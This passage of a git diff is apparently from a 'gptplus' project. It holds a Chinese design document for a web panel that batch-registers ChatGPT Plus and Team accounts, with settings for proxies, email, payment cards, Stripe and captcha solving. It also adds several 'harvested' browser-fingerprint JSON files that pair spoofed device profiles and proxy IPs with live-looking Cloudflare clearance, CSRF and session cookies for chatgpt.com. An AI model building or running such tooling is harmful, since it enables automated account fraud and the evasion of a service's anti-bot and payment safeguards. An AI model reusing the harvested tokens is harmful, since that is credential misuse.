当前正在执行的 `runOnce()` 会跑完 +4. 下一轮循环检测到 `stopping` → break +5. 更新 `task.Status = "stopped"` (DB) + +## 六、前端页面 + +### 6.0 全局布局架构 + +``` +┌─────────────────────────────────────────────────────┐ +│ Navbar [Logo GPT-Plus] [配置] [任务] [账号] [■ 任务进度浮窗] [退出] │ +├─────────────────────────────────────────────────────┤ +│ │ +│ │ +│ (当前页面内容) │ +│ │ +└─────────────────────────────────────────────────────┘ +``` + +**核心设计: 全局任务进度浮窗 (TaskProgressWidget)** + +右上角常驻一个**任务进度迷你组件**,行为规则: +- 有 running/stopping 状态的任务时**始终显示**,跨路由不消失 +- 登录页**不显示**(layout 不包含 navbar) +- 无活跃任务时**隐藏**或显示为灰色空状态 +- 点击浮窗可**展开**查看详情或**跳转**到任务详情页 + +**浮窗 UI**: +``` +┌──────────────────────────┐ +│ ● 任务进行中 3/10 │ ← 收起态:一行摘要 + 进度条 +│ ████████░░░░ 30% │ +│ [展开 ▼] │ +├──────────────────────────┤ ← 展开态:显示详细信息 +│ 类型: Plus │ +│ 成功: 2 失败: 1 │ +│ 当前: user_xxx@outlook.. │ +│ [查看详情] [停止任务] │ +└──────────────────────────┘ +``` + +**实现方式**: +- `Pinia` 全局 store: `useTaskStore()` — 管理活跃任务状态 +- store 内置定时轮询(3s 间隔),**独立于路由组件生命周期** +- 登录成功后启动轮询,退出登录时停止 +- 组件: `TaskProgressWidget.vue` 挂在 `AppLayout.vue` 的 navbar 中 + +``` +src/ +├── layouts/ +│ ├── AppLayout.vue # 已登录布局:navbar + sidebar + router-view +│ └── BlankLayout.vue # 登录页布局:无 navbar +├── components/ +│ └── TaskProgressWidget.vue # 全局任务进度浮窗 +├── stores/ +│ └── taskStore.ts # 全局任务状态 + 轮询逻辑 +``` + +**路由结构**: +```typescript +const routes = [ + { + path: '/login', + component: BlankLayout, // 无 navbar,无浮窗 + children: [{ path: '', component: Login }] + }, + { + path: '/', + component: AppLayout, // 有 navbar + TaskProgressWidget + meta: { requiresAuth: true }, + children: [ + { path: '', component: Dashboard }, + { path: 'config', component: Config }, + { path: 'tasks', component: Tasks }, + { path: 'tasks/:id', component: TaskDetail }, + { path: 'accounts', component: Accounts }, + { path: 'accounts/:id', component: AccountDetail }, + ] + } +] +``` + +### 6.1 登录页 (BlankLayout) +- 单密码输入框 + 登录按钮 +- JWT 存 localStorage +- 登录成功 → 跳转 Dashboard + 启动 taskStore 轮询 + +### 6.2 Dashboard (首页) +- 统计卡片: 总账号数、Plus 数、Team 数、今日注册数 +- 活跃任务列表(简要) +- 最近注册记录 + +### 6.3 配置页 +- 分组表单 (Tabs: 代理 | 邮箱 | 卡片 | Stripe | 验证码 | 账号 | Team) +- 每组内用 Element Plus 表单组件 +- 密码类型用 `el-input type="password"` +- 底部"保存"按钮 + 连通性测试按钮 + +### 6.4 任务页 +- 顶部: "新建任务" 按钮 → 弹窗 (选类型 + 输入数量) +- 任务列表表格: ID | 类型 | 进度 (3/10) | 成功/失败 | 状态 | 操作 +- 状态标签: pending=灰, running=蓝(动画), stopping=黄, stopped=橙, completed=绿 +- 操作: 启动 | 停止 | 查看详情 | 删除 +- 点击任务 → 任务详情页 + +### 6.5 任务详情页 +- 进度条 + 计数器 (成功/失败/总数) +- 实时日志表格: 序号 | 邮箱 | 状态 | 类型 | 耗时 | 错误信息 +- 2 秒轮询刷新(与全局 store 复用数据) + +### 6.6 账号面板 +- 筛选栏: 类型下拉(全部/Plus/Team母号) | 搜索框(邮箱) | 状态筛选(全部/正常/封禁) +- 表格: 勾选框 | 邮箱 | 类型 | 状态 | 小号数 | 备注 | 创建时间 | 操作 +- 操作: 查看详情 | 编辑备注 | 检查状态 | 导出 +- 批量操作栏: 勾选后 → 批量导出 | 批量检查状态 +- 导出弹窗: 输入备注 → 确认导出 → 浏览器下载 + +### 6.7 账号详情页 (Team 母号) +- 母号信息卡片 +- 小号列表表格 (最多 4 个): 邮箱 | 状态 | Token 概要 + +## 七、.env 配置 + +```env +# 管理员密码 (必填) +ADMIN_PASSWORD=your_secure_password + +# JWT 密钥 (可选,默认随机生成) +JWT_SECRET=random_secret_key + +# 服务端口 (默认 8080) +PORT=8080 + +# 数据库路径 (默认 ./gptplus.db) +DB_PATH=./gptplus.db +``` + +## 八、构建 & 部署 + +### 开发模式 +```bash +# 前端 +cd web/frontend && npm run dev + +# 后端 (代理前端) +go run ./cmd/gptplus/ --dev +``` + +### 生产构建 +```bash +# 1. 构建前端 +cd web/frontend && npm run build + +# 2. 构建后端 (embed 前端 dist) +CGO_ENABLED=1 go build -o gptplus ./cmd/gptplus/ +# 注: SQLite 需要 CGO + +# 3. 部署 +scp gptplus server:/root/gptplus/ +scp .env server:/root/gptplus/ +ssh server 'cd /root/gptplus && ./gptplus' +``` + +### 单二进制方案 +```go +//go:embed web/frontend/dist +var frontendFS embed.FS + +// Gin 中挂载 +router.StaticFS("/", http.FS(frontendFS)) +``` + +## 九、迁移计划 + +### Phase 1: 基础框架 (Day 1-2) +- [ ] 初始化 SQLite + GORM + 数据模型 +- [ ] Gin 路由 + JWT 中间件 +- [ ] 配置 CRUD API +- [ ] Vue 3 项目初始化 + 登录页 + 配置页 + +### Phase 2: 任务引擎 (Day 2-3) +- [ ] TaskManager + TaskRunner +- [ ] 重构 runOnce() 解耦:接受 config 参数而非全局状态 +- [ ] 任务 API + 前端任务页 + +### Phase 3: 账号面板 (Day 3-4) +- [ ] Account 存储从文件 → DB +- [ ] 搜索/筛选/分页 API +- [ ] 导出(JSON/ZIP) +- [ ] 状态检查 (调用 ChatGPT session API) +- [ ] 前端账号面板 + +### Phase 4: 打磨 (Day 4-5) +- [ ] Dashboard 统计 +- [ ] embed 前端 + 单二进制构建 +- [ ] 错误处理 + 日志 +- [ ] 部署到服务器 + +## 十、改动范围 + +| 动作 | 路径 | 说明 | +|------|------|------| +| 新增 | `internal/db/` | GORM 模型 + 查询 | +| 新增 | `internal/handler/` | Gin HTTP handlers | +| 新增 | `internal/task/` | 任务管理引擎 | +| 新增 | `internal/service/` | 导出/检查业务逻辑 | +| 新增 | `web/frontend/` | Vue 3 SPA | +| 重写 | `cmd/gptplus/main.go` | CLI → Web Server | +| 修改 | `config/config.go` | 支持从 DB 加载 | +| 修改 | `pkg/storage/json.go` | 同时写 DB + 文件 | +| 新增 | `.env` | 管理员密码 + JWT 密钥 | +| 保留 | `pkg/*` 全部 | 核心业务逻辑不动 | diff --git a/fingerprints/KR_1b7fc0d3_1773440498952_10.json b/fingerprints/KR_1b7fc0d3_1773440498952_10.json new file mode 100644 index 0000000..430b715 --- /dev/null +++ b/fingerprints/KR_1b7fc0d3_1773440498952_10.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": true, + "language": "en-US", + "platform": "Win32", + "screen_size": "1920w_1080h_24d_1r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0", + "cpu_cores": 4, + "memory_gb": 4, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Google)", + "webgl_renderer": "ANGLE (Google, Vulkan 1.3.0 (SwiftShader Device (Subzero) (0x0000C0DE)), SwiftShader driver)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "f2fc5f048a699c74de97408d015b5a2d", + "oai_did": "90b0e6f2-515b-42d5-8142-2d42f976cf78", + "cf_clearance": "jnEHINOVoK2ICP8mQjxKMHna2q7viy2pXDfCC40XB4s-1773440493-1.2.1.1-K.U9kme4mry4m8twqlkvwptThWbXq7LDLm.fov2biKAqpcmHJCQzF20xisP8b0Rnac6VKXEgEtG_VUI2VAUwtcfkObpR5TouzTQVZCjKwj5gB05j1WV4vjyEvelutkNqHT3s7iJ0uWFcRAKRSVsSe21MbF2JjY2H1Qo154z9r_ITZMKochRjJJhTtKsjUFVmcbkEHkZxT9Abq64HrKVXLtFk.RQHgo1J66CSnt8_1SI", + "csrf_token": "b6e5073c437445a7d10fd4f099f894b7956217cfcf1574c1a5d6e30cdec20efb%7C749edfa527dc3ba010531f5aee65003ca254f7f6aa1ffdf1c4699238493e6491", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440492520,\"i_b\":\"qBCUlwsYFE/pGbchl1dn2zRU27PwJ24izCDhCMrIi74\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptI3tYtZKqDmIB7ZrxIwAjXQF16HGxPWTyIMnWRnr0TcQUM-kO_IsNOqf9vEtUDFUNC8GYR9ix_VWHJCP5XkfLDodiUCT023UW_oFtE4GKidNQDCmniJHhYfTeYfYJOCwJNSuZ5-j75r770n0ocon8Nu3UU3fXVN2i_A1xpbqX4-YmHt4vmt0cRsLpMyglHsRdMU6bsPEEuYLxNPNyWvM0rrwta_I2JohnRbgLemynuPczqg", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "WHAT_ARE_YOU_WORKING_ON%20%7C%20SHOULD_WE_BEGIN", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "Xd5q7IwVprdI4HnztqF6rcV_6yNqGiz7bAEYFp8MoP0-1773440492.4166741-1.0.1.1-qQrz.INlVrtI5LhBxiNl5m6e1mBdjYDCIK26ifXMD5U", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=b98c39a6-f3ab-407a-81cb-5c91b91bcda5&rum=0&expire=1773441391205&logs=1&id=c642615d-8cc2-4e10-806c-c259a38fd78c&created=1773440491205", + "domain": "chatgpt.com" + }, + { + "name": "oai-did", + "value": "90b0e6f2-515b-42d5-8142-2d42f976cf78", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWNQMnJiULSmKZ", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "1KlM5aqXWRhw373WxtbSzQr1IiGMsnfSJ6IXEXavN4k-1773440493.130001-1.0.1.1-RiSx3ov4dFigKJSdxu31OE3zjDqBswlCVZDuB7UPOm7FVQ05AnLxXGPwK7NxMnVtleQ4h_YU699eD_ouoj4uJOorgSXG4eRo0ZaDK5bQJ3bEIJ3.aBwLq8pRte7yZe0O", + "domain": ".chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "jnEHINOVoK2ICP8mQjxKMHna2q7viy2pXDfCC40XB4s-1773440493-1.2.1.1-K.U9kme4mry4m8twqlkvwptThWbXq7LDLm.fov2biKAqpcmHJCQzF20xisP8b0Rnac6VKXEgEtG_VUI2VAUwtcfkObpR5TouzTQVZCjKwj5gB05j1WV4vjyEvelutkNqHT3s7iJ0uWFcRAKRSVsSe21MbF2JjY2H1Qo154z9r_ITZMKochRjJJhTtKsjUFVmcbkEHkZxT9Abq64HrKVXLtFk.RQHgo1J66CSnt8_1SI", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "b6e5073c437445a7d10fd4f099f894b7956217cfcf1574c1a5d6e30cdec20efb%7C749edfa527dc3ba010531f5aee65003ca254f7f6aa1ffdf1c4699238493e6491", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "1b7fc0d3", + "harvested_at": "2026-03-13T22:21:38.951Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "c15e7f18aba627fe5435319b761b1a02" +} \ No newline at end of file diff --git a/fingerprints/KR_212d22e0_1773499704723_3.json b/fingerprints/KR_212d22e0_1773499704723_3.json new file mode 100644 index 0000000..2df7745 --- /dev/null +++ b/fingerprints/KR_212d22e0_1773499704723_3.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "1536w_864h_24d_1.25r", + "timezone_offset": "-7", + "timezone_name": "America/Los_Angeles", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36", + "cpu_cores": 8, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Intel)", + "webgl_renderer": "ANGLE (Intel, Intel(R) HD Graphics 530 (0x0000191B) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "0d22d37d72fe0b9de748eab37ae606c4", + "oai_did": "4c1a7597-f5dd-40f5-b791-d2d985a02498", + "cf_clearance": "FQe15ba3W4tGzi0qAXActSVF37Si7ADBj4Jj5GREpeY-1773499686-1.2.1.1-5BmlcKCzF.iXe1cDcW6csrniAqNg_XYSOgfYmfoXdc1E36auCDTuH0z9dL7gRm2XPKUYfVBlGUTdq19ULyHUwZGLrnBKPS8StfzgU6eLVrfvM7BgGu5NVKBjCNhGqpDV5Q6s2LawPmvFQP.BgVaUx4tk4z5KNvfjJssYBmkudum9.nj9VEfmkmE7eopcRgxu3og2D3YGXCE8IO0fu0LIn3y5nDRw0WWOJbvoP7pJq0s", + "csrf_token": "54453a2aac138e7cf9633c1c04767fac6c119161f8dd3d09121e56d6d662609b%7C29bc8fdb05004693db2161dfdc565a878ded8f12ab79725160150045d0889936", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773499686894,\"i_b\":\"jLOPepq+CA0YMvlq5PN1fV1EuUXR9KhNEXAj9r53FtY\",\"i_e\":{\"enable_itp_optimization\":16}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptXUmvf1tweNLOOHPe-uxRJJU49orgfOFL9vyO_m20z0JZQTzPVVFsM1LoBymy44cby0RTfzbCprQCX1XeWmBF9AdLd7xH8h8BYKBQ_tu0q-QyJeFSevhTZrALghyTP8Pq8ekmCIcmaCTP5aPYBMznh7jHelghkltJnV-kmmz9WRUzwkUKoiYn4lxntYjJQONzqGW4CllsXh1CIXpJ7oQTQ6fmnyOZ_9Lc0bMNAp5zNCJQWI", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "FQe15ba3W4tGzi0qAXActSVF37Si7ADBj4Jj5GREpeY-1773499686-1.2.1.1-5BmlcKCzF.iXe1cDcW6csrniAqNg_XYSOgfYmfoXdc1E36auCDTuH0z9dL7gRm2XPKUYfVBlGUTdq19ULyHUwZGLrnBKPS8StfzgU6eLVrfvM7BgGu5NVKBjCNhGqpDV5Q6s2LawPmvFQP.BgVaUx4tk4z5KNvfjJssYBmkudum9.nj9VEfmkmE7eopcRgxu3og2D3YGXCE8IO0fu0LIn3y5nDRw0WWOJbvoP7pJq0s", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "READY_WHEN_YOU_ARE%20%7C%20READY_WHEN_YOU_ARE", + "domain": "chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=94ec9439-8a67-4497-8828-12914fa651dc&rum=0&expire=1773500585463&logs=1&id=be262a6d-ef9a-4250-9fc4-6c1c0674d0fd&created=1773499685463", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "Ahei3U9vaB1bWifCH5CQphomBXirBxY6L1wt_QvD5UY-1773499684.650219-1.0.1.1-h3sOX3ioInGS9ne9O2cSM1XvaOL8mcrMze5OUKm7ggw", + "domain": ".chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "gT7D0iT501PLgpVIWAmp.pH_popxNKflaZ3LFqWHOck-1773499687.5689921-1.0.1.1-I.wCu.KDQItXo0.MKEEzDf8FS77iuSkcHUhQ.iLGQOwUG2KPYSwm0JIamMLug6ns0NbNVCTxsg5200ULTTd3oln1sNeGXXIb5GbhYzoZnCl9JJHs15zTiSvmu3MLVX9R", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "04dTofELUVCxHqRn2Xc6Eb6eZgy5T2E1Y7DoZ6jZnB", + "domain": "chatgpt.com" + }, + { + "name": "oai-did", + "value": "4c1a7597-f5dd-40f5-b791-d2d985a02498", + "domain": ".chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "54453a2aac138e7cf9633c1c04767fac6c119161f8dd3d09121e56d6d662609b%7C29bc8fdb05004693db2161dfdc565a878ded8f12ab79725160150045d0889936", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "104.194.83.216", + "proxy_sid": "212d22e0", + "harvested_at": "2026-03-14T14:48:12.539Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "68ac50cc76860f9f7448d635caf799c0" +} \ No newline at end of file diff --git a/fingerprints/KR_33ba7328_1773499704724_4.json b/fingerprints/KR_33ba7328_1773499704724_4.json new file mode 100644 index 0000000..8ae1b15 --- /dev/null +++ b/fingerprints/KR_33ba7328_1773499704724_4.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "1536w_864h_24d_1.25r", + "timezone_offset": "-7", + "timezone_name": "America/Los_Angeles", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", + "cpu_cores": 8, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Intel)", + "webgl_renderer": "ANGLE (Intel, Intel(R) Iris(R) Xe Graphics (0x00009A49) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "f08822d3e73b301fa1f7e3ad1d27c834", + "oai_did": "34a6ea60-7c9c-4f48-8579-a9e8ba1bf5f8", + "cf_clearance": "YQMF2c_0lIoYKF5gEvM7GLSmBlo5F4TCfia27lb7Z.o-1773499697-1.2.1.1-XeeBYczEIClv6eBViohsrWdPzls5KqSEfBTSgXoWKtd7leV02wBYUDlXz0gG8ECSZuCHFDbBCxgVp8ZtFRtDY3qcoxf5PVDLgBSdRi0pC5SD6CxWPCNA2_CAWep__xmsZGq2RfkKJcZgnXT.dnqAemDbdX91rq.kEt7_jrLMFimFxSx.Oif4NXPx6Av6tPrKqi0tsDherkWYbjev0h8E6DckTG5MuJ1cGLAeukMWCPQ", + "csrf_token": "a8aa3f2cb264d06f4e8bd9f4909ee33ba7209a3133072063249d5a21e70d3171%7C9a90563ff6c57afd1ff1a2f1b647791acf1f70877544f48949c8a2d215a4c9ba", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773499698149,\"i_b\":\"dwRNJ/bVdkeyAbtyfskJkP27a73S3FIXlyI7LhUS/e0\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptXUyx9r2ZoSNiIKzD3k8k7SYal-uRaX3BibjuxT5YFYbY2z9prrstPm5hePQ8hmEahVCluitA-Z1PGmZNVmwPBSK2iWviCpxwpCcaGNbC6rMh19sMpWJHhMGXTbGMDmVPJ5iSBVcCrjdHR1pkQ3xWw0w4icg0QMT6KWStjzN5t_4MLqQwf0_bftqhyUmIcfQDsN1QmXoUn7VtFmBPccnQWma_dwiLOc7IPdUYQpppzMvFjM", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "READY_WHEN_YOU_ARE%20%7C%20WHAT_ARE_YOU_WORKING_ON", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "85cNeIvDX28.jdvfF7owAU_mJWV_sBIwMGZUZyqcIkY-1773499696.1557548-1.0.1.1-MxfVMxv0Dp5hHUnHDAEjfCceLHx68BYUsXO693XZ5WY", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=8a8ec14e-845d-452a-9194-d908ae41a721&rum=0&expire=1773500597206&logs=1&id=95853ff7-22f4-4c09-bf98-734d9149633f&created=1773499697206", + "domain": "chatgpt.com" + }, + { + "name": "oai-did", + "value": "34a6ea60-7c9c-4f48-8579-a9e8ba1bf5f8", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "04dTofELUVCxHqRn2Xc6Eb6eZgy5T2E3YXHyEverzP", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "GruQMxn.o.ma.3.nbbmVw8vHsj1KSDC6Zjy8XU2mfyc-1773499697.6351073-1.0.1.1-zX2K2ZZzzunpnRq.OP0Ky3NC861HthQ1fXvGdQpwv.QS8LEyWoNiH3G.Wi1g6xxHtHpPSW6CZUtHL4cAQgpPCLnJObbD3BFymovjQiV61apZnGz.HEkNgJeK9WNp6Ls9", + "domain": ".chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "YQMF2c_0lIoYKF5gEvM7GLSmBlo5F4TCfia27lb7Z.o-1773499697-1.2.1.1-XeeBYczEIClv6eBViohsrWdPzls5KqSEfBTSgXoWKtd7leV02wBYUDlXz0gG8ECSZuCHFDbBCxgVp8ZtFRtDY3qcoxf5PVDLgBSdRi0pC5SD6CxWPCNA2_CAWep__xmsZGq2RfkKJcZgnXT.dnqAemDbdX91rq.kEt7_jrLMFimFxSx.Oif4NXPx6Av6tPrKqi0tsDherkWYbjev0h8E6DckTG5MuJ1cGLAeukMWCPQ", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "a8aa3f2cb264d06f4e8bd9f4909ee33ba7209a3133072063249d5a21e70d3171%7C9a90563ff6c57afd1ff1a2f1b647791acf1f70877544f48949c8a2d215a4c9ba", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "104.194.83.216", + "proxy_sid": "33ba7328", + "harvested_at": "2026-03-14T14:48:24.723Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "bf10c000142cd69874cd467847e44ab2" +} \ No newline at end of file diff --git a/fingerprints/KR_3efe8f93_1773440403431_5.json b/fingerprints/KR_3efe8f93_1773440403431_5.json new file mode 100644 index 0000000..943ccd7 --- /dev/null +++ b/fingerprints/KR_3efe8f93_1773440403431_5.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "2560w_1440h_24d_1r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", + "cpu_cores": 8, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (NVIDIA)", + "webgl_renderer": "ANGLE (NVIDIA, NVIDIA GeForce GTX 750 Ti (0x00001380) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "99fa90ef5e877fbd93d742dddf2b292d", + "oai_did": "27965bd4-0214-42b8-9821-a79080520131", + "cf_clearance": "vpejh8EGP3orWs8.Xo.Wyh5xq1Df7k1XEyN7OwtJCgI-1773440387-1.2.1.1-VsTRDo4VYSA6R8i9sxsR_QeZzKDFeGrMcwN.xfnlBGX68a1xH9EK.B.c6CVvbmpNSxG1hRaUMFPE0wEM.gBxHJWjfS5zB_6U52JUG0ej6FRcLDdOhgx3QqRAqWGzMAsPa7bOJAHiZhQgZXYIV48MP8072izcOf81eB2O.bG6L6iI4HhMlrNqHcQ_jR.db6rHEa79ZiBq7sx1Q0esRzNSWaMy_IqRd38rANH_4Aec_Cs", + "csrf_token": "2a3f4b06cbffb3bdf48935474d5ccd2ada8dd58d9648e37b6dfadb3b8ddf3bd9%7C98cae1753dc2aef74355b137a2f451e2f2b9984fcab62bff47d0317216e07172", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440387461,\"i_b\":\"aW8fwfuAQfHkzYx8tylXpE11vsOEGD3r9r/aripWjOs\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptI2EJkUDHaiq4EXdeoExi7GErTaIufRyqf9Hiz6xqqcW66UYyJ4vYSDiY8H8jVb7oJ8TtrVu-8cmitiAhEhQhnT9Zoj1Z69PRX74luyTCddcCxQWl-zCjNQmTqz_a6tkZ5azUJWaUxtZg35V2FYIxG_ALnM_LXth4rAjEF0RXkQIGUgIKBX6Kf1kJZNh5ql_kjoFyZk0O3o2JJlj44ISDFO6QTLO62mn03XcryMz7dGx4Ns", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "27965bd4-0214-42b8-9821-a79080520131", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWN6TkLE6ifhhD", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "fTjc3TPf8qNw3SB7m4zcE1HYu.MPq2JGFmRUeyrpdtc-1773440387.2462265-1.0.1.1-GFOKS1FXixLzkLQ4vNVIKrWEVC4hOsVBR8mc5M1UHAmeol3AcLJe7DLAp5IOChILQ1VbL99cr0EDLVY4but0tix7zI.QJQUO.GFDPc625qZ0Z.Ib23tsgbjOzGFi50rI", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "vpejh8EGP3orWs8.Xo.Wyh5xq1Df7k1XEyN7OwtJCgI-1773440387-1.2.1.1-VsTRDo4VYSA6R8i9sxsR_QeZzKDFeGrMcwN.xfnlBGX68a1xH9EK.B.c6CVvbmpNSxG1hRaUMFPE0wEM.gBxHJWjfS5zB_6U52JUG0ej6FRcLDdOhgx3QqRAqWGzMAsPa7bOJAHiZhQgZXYIV48MP8072izcOf81eB2O.bG6L6iI4HhMlrNqHcQ_jR.db6rHEa79ZiBq7sx1Q0esRzNSWaMy_IqRd38rANH_4Aec_Cs", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=69983c26-bd5a-42c3-a312-2581d06de42f&rum=0&expire=1773441285471&logs=1&id=e5ad7347-dbd8-4b34-83ad-cc91fbd9647b&created=1773440385471", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "T_XzJqK6fEHtY2Pu7spElWChkWo.CPHZCbA5o2GdLCc-1773440385.1872723-1.0.1.1-8zmtIeg4jeJk57dDiwMJL73NABGondRBLr0NDItVqdM", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "ON_YOUR_MIND%20%7C%20AGENDA_TODAY", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "2a3f4b06cbffb3bdf48935474d5ccd2ada8dd58d9648e37b6dfadb3b8ddf3bd9%7C98cae1753dc2aef74355b137a2f451e2f2b9984fcab62bff47d0317216e07172", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "3efe8f93", + "harvested_at": "2026-03-13T22:19:53.243Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "eadec3aa01a8336d81422821059a9ae2" +} \ No newline at end of file diff --git a/fingerprints/KR_5848bb69_1773499888656_9.json b/fingerprints/KR_5848bb69_1773499888656_9.json new file mode 100644 index 0000000..996bdd0 --- /dev/null +++ b/fingerprints/KR_5848bb69_1773499888656_9.json @@ -0,0 +1,84 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "1536w_864h_24d_1.25r", + "timezone_offset": "-7", + "timezone_name": "America/Los_Angeles", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", + "cpu_cores": 4, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Intel)", + "webgl_renderer": "ANGLE (Intel, Intel(R) HD Graphics 4000 (0x00000166) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "f77c192d17e2afe1c4551b8cea79ae7a", + "oai_did": "119e6a11-d160-4e8d-8079-ba42a9e2233b", + "cf_clearance": 